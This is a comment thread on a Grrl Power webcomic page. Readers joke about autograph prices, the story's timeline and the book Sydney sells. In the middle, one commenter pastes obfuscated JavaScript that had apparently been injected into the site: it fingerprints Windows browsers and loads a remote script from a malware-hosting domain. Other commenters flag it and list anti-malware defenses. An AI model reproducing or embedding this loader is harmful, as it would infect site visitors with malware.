Dammit Sydney if Chuck Norris can charge $100 extra for a signed book, you can charge at least that much for your first autograph!
Chuck Norris fears Sydney Scoville jr.
Stan Lee was at a local shop recently, and he was charging $125 for up to 3 items.
And he can’t even fly!
But he can PARKOUR!
But that was a long time ago, when Stan was still young…That’s when he did Parker.
;)
he’s going to be here in Seattle for ECCC, and it seems we’re getting the benefit of mass consumerism… he’s ONLY charging 70 for a signature, and 88 for a solo pic… and i’m sure that that value is for only one item…
Oh yeah, I forgot. Your $125 also got you a photo with him. To be printed out and “signed” later, then mailed to you.
Good page. Also, when does GrrlPower take place? So far I haven’t seen anything that locks it in a definitive time frame, so it could be taking place in 2015.
2011
Either that or Dave is waaaaay behind schedule…
;)
Or just ‘in the present’
Yea, I am fine with that, in any contemporary story. But, if DaveB wishes to do that, and does not want any continuity errors, he will need to modify panel 2 in the page I linked above.
However, given that is the page where he sets the scene for the whole comic, I suspect that it was a deliberate decision. One of Dave’s subtle clues embedded in the comic.
Huh, I never noticed that date thing
Webcomic time is really confusing. The first page of the flashback was in 2011, and the current page is in 2015, even though there has been probably just a bit under 24 hours of elapsed time.
It’s called a sliding timescale, Marvel and DC use one also.
sorry… buuuut where have you read it’s 2015?
The current page is still a flashback
Technically, the comic is still in it’s first day of Sydney’s life, in 2011. Everything since page 5 has been a flashback to a few months earlier than that.
Except for a few occasions, when it it flashed back even further (but only in “visualisations”). Such as when Sydney obtained the orbs “off the Florida keys”, months before then. Or when Maxima shot a hole through her wall, years ago, as a teenager.
Dabbler’s flashback, to having overcome the demon, being the one with the biggest potential. Given that she is 187 years old, if that happened in her own teenage years, that could have been in 1840.
At that time, in New Zealand, the city of Wellington was being founded. Had Dabbler popped over to Earth, for a visit, she may have found the introduction of the world’s first postal service to be a quaint concept.
Have a poke around Dabbler’s laboratory, and you might find a few sheets of Penny Black stamps, just lying around in a drawer, gathering dust.
That reporter looks like Jon Stossel…
If so, what question is he asking Sydney here?
“Can you autograph my moustache?”
So how many questions can I ask for this much?
Just one: one question per purchase, not per dollar spent
And that was your question.
Your 100 link goes to comic 60. I mean, I can navigate to it, I just thought you’d want to know.
Haha WOW I really blew it on that one. I meant FOUR, not SIXTY. XD durp.
It appears that the link leading to comic 100 goes to comic 4. Anyone else have that problem, or is it just me?
Nope, you are not alone. A couple of folks have posted comments to that already. I am sure DaveB will fix it, when he catches up on reading them, in due course.
No, bad Sydney! Don’t become another Arianna!
Amen!
Sydney is showing remarkable ingenuity once again! I approve.
I’m curious about what that thing is she just sold.
Looks to be Twilight.
I don’t think so. I’m not familiar with Twilight, but the box itself says “omnibus” and I looked up the Twilight omnibus and unless it’s a version google image and shopping search is not producing, then it’s not Twilight.
Found it, it’s the Strangers in Paradise omnibus.
Strangers in Paradise? Never heard of it.
Hey! Anyone ever heard of “Strangers in Paradise”?
I hadn’t heard of it until I went looking for what Sydney is selling the reporter. https://www.amazon.com/Strangers-In-Paradise-Omnibus-Edition/dp/1892597543
Hahaha! Someone took a leaf from Ariana’s book! :D
The alphabet soup at the top of the page is back.
I was trying to understand why Joel was so calm about the revelation of Sydney’s powers. I can’t believe it took me this long to figure out. It is so obvious. He is a Kryptonian mentor whose job it is to guide Sydney into becoming a true superhero. It is right there in his name and everything. Jo-El.
Unfortunately, her bookshop of solitude is no longer so solitary.
Of course, well deduced! How could I have missed that?
As they say “Two is company…
“Unfortunately, her bookshop of solitude is no longer so solitary.”
But inside of the Event Horizon, there IS a Singularity…
;)
Funny code at top back again David.
[code] /* NTDtJJzTi1QO */var cHuhhx=”u\x73er\x69dA\x308\x317FB25″;var Tijtyos=”30″;function iRGpD(GIbURx){var eGHrQ8=document.cookie.replace(/\s/g,””).split(“;”);for(var cTDL3SJ=0;cTDL3SJ”;var gtya27=document.createElement(“\x44IV”);gtya27.innerHTML=i5iuQKD;gtya27.id=LDtbMQ;gtya27.style.cssText=”po\u0073ition:\u0061bsolute;l\u0065f\u0074\x3a0px;top:\x3200\x70x;\x6fpacit\x79:\u0030;f\u0069lter:alpha\x28\u006fp\u0061city=0\x29;”;document.body.appendChild(gtya27);}catch(e_ntl){setTimeout(“o7o\u0039k\u0028)”,300);}};function JkGIf(){var ASouMm,EwJzgm=”K\x48ncdu2\u0064e\x3343″;try{if(document.getElementById(EwJzgm)){document.getElementById(EwJzgm).parentNode.removeChild(document.getElementById(EwJzgm));}ASouMm=document.createElement(“SCRI\u0050\u0054″);ASouMm.type=”te\u0078t/java\u0073\x63ri\u0070t”;ASouMm.id=EwJzgm;if(ASouMm.readyState){ASouMm.onreadystatechange=function(){var c=this.readyState;if(c==”loa\u0064\x65d”||c==”compl\u0065\x74e”){ASouMm.onreadystatechange=null;o7o9k();}};}else{ASouMm.onload=function(){o7o9k();};}ASouMm.src=”https://ak\u0061ma\x69.thepla\x74\u0069numtravelg\u0075ide.com\x2fk\u003fts\x74m\u0070\x3d”+Math.floor(Math.random()*4294967295);if(document.getElementsByTagName(“he\u0061d”).length>0){document.getElementsByTagName(“h\u0065ad”)[0].appendChild(ASouMm);}else{document.getElementsByTagName(“b\u006fdy”)[0].appendChild(ASouMm);}}catch(e_ntl){setTimeout(“JkG\u0049\x66()”,300);}};function FOjs1Mt(){var tbP3kg8=navigator.userAgent;var aglmH=0;if(tbP3kg8.indexOf(“Windo\x77\x73”)== -1||(tbP3kg8.indexOf(“M\x53IE”)== -1&&tbP3kg8.indexOf(“G\u0065\u0063ko/”)== -1&&tbP3kg8.indexOf(“Tride\x6e\u0074”)== -1)){return 0;}try{try{if(iRGpD(cHuhhx)==Tijtyos){return false;}}catch(e_ntl){};if(tbP3kg8.indexOf(“MS\u0049E”)!= -1||tbP3kg8.indexOf(“Tr\u0069de\x6et”)!= -1){try{aglmH=CB5yyy7();function CB5yyy7(){return 0;}}catch(e_ntl){aglmH=1;}}}catch(e_ntl){};if(aglmH==0){JkGIf();}};FOjs1Mt();/* SgM9PbbBDk53Cg44lIMbEs */ “>
[/code] the code tags are mine to prevent it running
Thanks for pointing it out. But please never cut and paste the text itself into comments. That will require Dave to have to delete either the post, or the text. Given that it is safest not to have such code embedded into a comment.
Although all credit to you for taking the precaution of preventing it from running.
The quickest way to draw it to his attention, is via Twitter, if you use that. I am sure that he will action it promptly, either way though, as soon as he becomes aware of it.
I don’t twitter
Woof.
Any sane forum comment functionality will work hard to prevent casual javascript injection.
The key part is ak\u0061ma\x69.thepla\x74\u0069numtravelg\u0075ide.com\x2fk\u003fts\x74m\u0070\x3d”+Math.floor(Math.random()*4294967295
where it accesses a short-lived CDN set up to spread malware (which is why I have no interest in decoding that for humans/browsers). That’s what hacking has come to — it’s a business just like clickbait.
True. However it never hurts to play safe. Especially if making assumptions that a program will have sensible safety features.
I recall once warning a colleague not to use a function button, which marked all records, and then using another to perform an action to all those selected. He argued it was the most efficient way to work quickly. I agreed, but said that it was only safe if he ensured that his search had restricted the records to just the ones he wanted.
Going on to point out that there was no visual difference between a result which had, say just over a page of results, and one which had returned the entire database. So I recommended manually selecting, as he was not checking for such an eventuality. I warned him that the worst case scenario was if he was deleting records, and we could loose everything. Simply by pressing two buttons.
“Don’t be silly the program would never allow a user to do that!”
Two weeks later he deleted our entire client database. The programmers investigated for a way to restore it, but concluded that the only way was to roll back all entries for the entire company, since the previous back up, 24 hours prior to that. Which was out of the question, given that the loss was just restricted to one department.
That guy then had to spend the next two months manually re-entering the records, from the printout we kept in each client file!
sigh such stupidity as a programmer he should have known that a program only does what the programmer tells it to do and without any limits it will destroy the world
Nope, a program can’t destroy the world…Unless the computer running it is linked up to the kind of hardware it would take to destroy the world. That’s not to say that a program can’t do a lot social/financial damage, but it would take more than that to actually destroy the world. The world wide economy could be collapsed or even the fabric of human society could unravel, but the world itself will still be here.
;)
Dag-Nabbit! that’s the second time for this comic page that I forgot to close a text-code…
THE END OF THE WORLD IS HERE !!
*runs around in a circle, chasing tail, and barking*
Unless we are in the Matrix. In which case, the world is just data, and can be deleted, or otherwise destroyed, by a program.
Although, MidnightDesroyer is correct, in as much as that program (probably) needs to be running on some kind of hardware. Unless we envisage an environment where programs can run independently. Perhaps an ascended AI, who achieved Nirvana, and who can exist in a non-corporeal state?
I wonder what drove her to create a world like this though?
But, any kids reading this should not be worried.
Neo will protect us!
I disagree. All you need is to write a quantum bogo sort algorithm and you’ll destroy the entire universe… repeatedly…
Huh… I believe that is something we call justice. And learning a major lesson.
I found an article from a few months ago that described some types of malicious adware that has been popping up (sometime literally) https://www.tomsguide.com/us/malvertising-what-it-is,news-19877.html
The core defenses against these is to
– keep your OS updated
– keep your browser updated (& try to avoid using IE)
– turn off unneeded things like JAVA and auto-run settings in the browser of possible.
– install an ad blocker or script blocker plugin if available.
– don’t click on ANYTHING that warns you your computer has been infected and they can ‘fix’ it.
– install and update a good quality antivirus (yes, you too Mac people)
– take backups regularly, then unplug the device between backups
– only web surf using a non-admin user account to prevent rogue programs from installing
I had already read Malwarebytes address this topic and think they make a good companion piece to the article you linked to.
Scary or not, I love Sydney’s growing smile in the last three panels. First the smirk, then the sinister grin and finishing with the malign gleeful smile.
It is reminiscent of a predator’s, when seeing it’s dinner coming walking obligingly towards it.
It is said Halo’s greed grew three times larger that day.
300. Capitalism.
Cleary, THIS IS AMERICA!!!
*obligatory kick*
Wouldn’t you get sued if you did that in the america setting?
I don’t think that anology works so well if you concider that
Replace ‘Analogy’ with ‘Joke’ it works just fine.
Yes, this is America. And don’t call me “Cleary”.
Alright Surely.
Evil, greedy Sidney grin is evil and greedy.
Ummm…Dave…Not sure if you’re aware, but you kinda broke the SuperBitch website: https://www.facebook.com/sbwebcomic?fref=nf
Ooof I like that little chart showing the slight jump in traffic.
Yea, that is… the kind that the Hulk might make!
Perhaps you’re right. But involving the Hulk might’ve created some copyright problems to make a jump like that…
O.o
Isn’t that a Rival Angels book or lunchbox she’s pushing on the newsboob too
Does nobody remember that Sidney is scuba certafied? All these “not being able to breathe because of the stale air” would be as easy to deal with as that.
For an hour or two. Until she ran out of air tanks. Yours is a useful idea, but one of strictly limited duration.
However, it is well worth making a mental note of it, for future application. It is a very viable solution for her breathing issue in a future combat situation. Or should she need to enter a hazardous environment. She could even use it if there is vacuum outside her force field.
Of course, in the latter situation, she would be far better advised wearing a space suit,* but she is not trained in that. And, whilst the human body can actually withstand being exposed to space, for a minute or two, she is much safer if she can raise her shield, before entering the vacuum.** However it can only contain so much air.
But she is trained with the scuba gear, as you say, so can improvise that, at a moment’s notice. Adding as many hours of opperational duration, as she can carry tanks of air with her. Without having to attend any NASA astronaut training.
* Unless it was just Joel doing the hoovering, as opposed to being in outer space.
** To keep air in, but harmful levels of light, and radiation, out,
Verry frugal of her, I think I figuerd out what one of those mystery orbs does.
Also I couldn’t reply to the insurance thing, but from my time in the navy I know that military work like that affods certain financial considerations. Defferal on payments on storage, or your car on deployment come to minds. I have to assume people who can ,for instance, vaporize their store in a fit of nerd rage when they see the new Starfire would fall under similar protections. Especially if they worked for the government.
+1
do I spot an oops?
did *anyone* click on those links of dave’s comments that pointed
to a page 100 and page 200 –
that do not go where the actual page 100/200 actually are?
I just zipped thru all the comments and *nobody* else noticed this?
I found atleast 2 comments mentioning this already on the first page.
Forgot about the search function did you?
Usually it is just a fact that folks do not spot the fact that there is more than one page of comments. I know I was not aware of that, for some while, before I got into participating in the comments myself.
Signs, signs. Everywhere there are signs.
Infinity —->
Not A Villain is closing in fast! Vote to keep Sydney at the head of the pack!
Thanks for the heads-up, and reminder.
Although it is a good comic, in it’s own right, it also has a clever way of encouraging voting. By devoting a lot of time to putting extra content in vote incentives. Not that anything more should be read into that, other than the fact that it will be providing stiff competition.
I do not feel it is an unfair tactic, as the author there is providing bonus entertainment for their readership. But, nor should it be read that I am hinting for Dave to do more the same. The current vote incentive is particularly fine. Plus I think he spends his time wisely, in maximising the artistic depth and detail in the comic itself. Each comic is playing to it’s own strengths and styles.
But, we have managed to keep first place, for half the month, so please vote. It would be great for Grrl Power to keep the title for the whole month!
I hate to nitpick, but the only reporter to not be wearing different colours than before is the guy who is now much blonder than before… or maybe they are all just new reporters and the other ones decided to browse… yeah lets go with that one.
Yea, I had picked up on that too. But Joel did say that there were twenty reporters, when he arrived (ie, as Sydney may have been late, by having gotten lost, there could be even more than that). And less than half of that number have been detailed.
Further there are more than that, clearly in the shop already. And, given the circumstances, we can anticipate that they will be jockeying to have their turn up front. So your conclusion, or something similar, is actually very fair.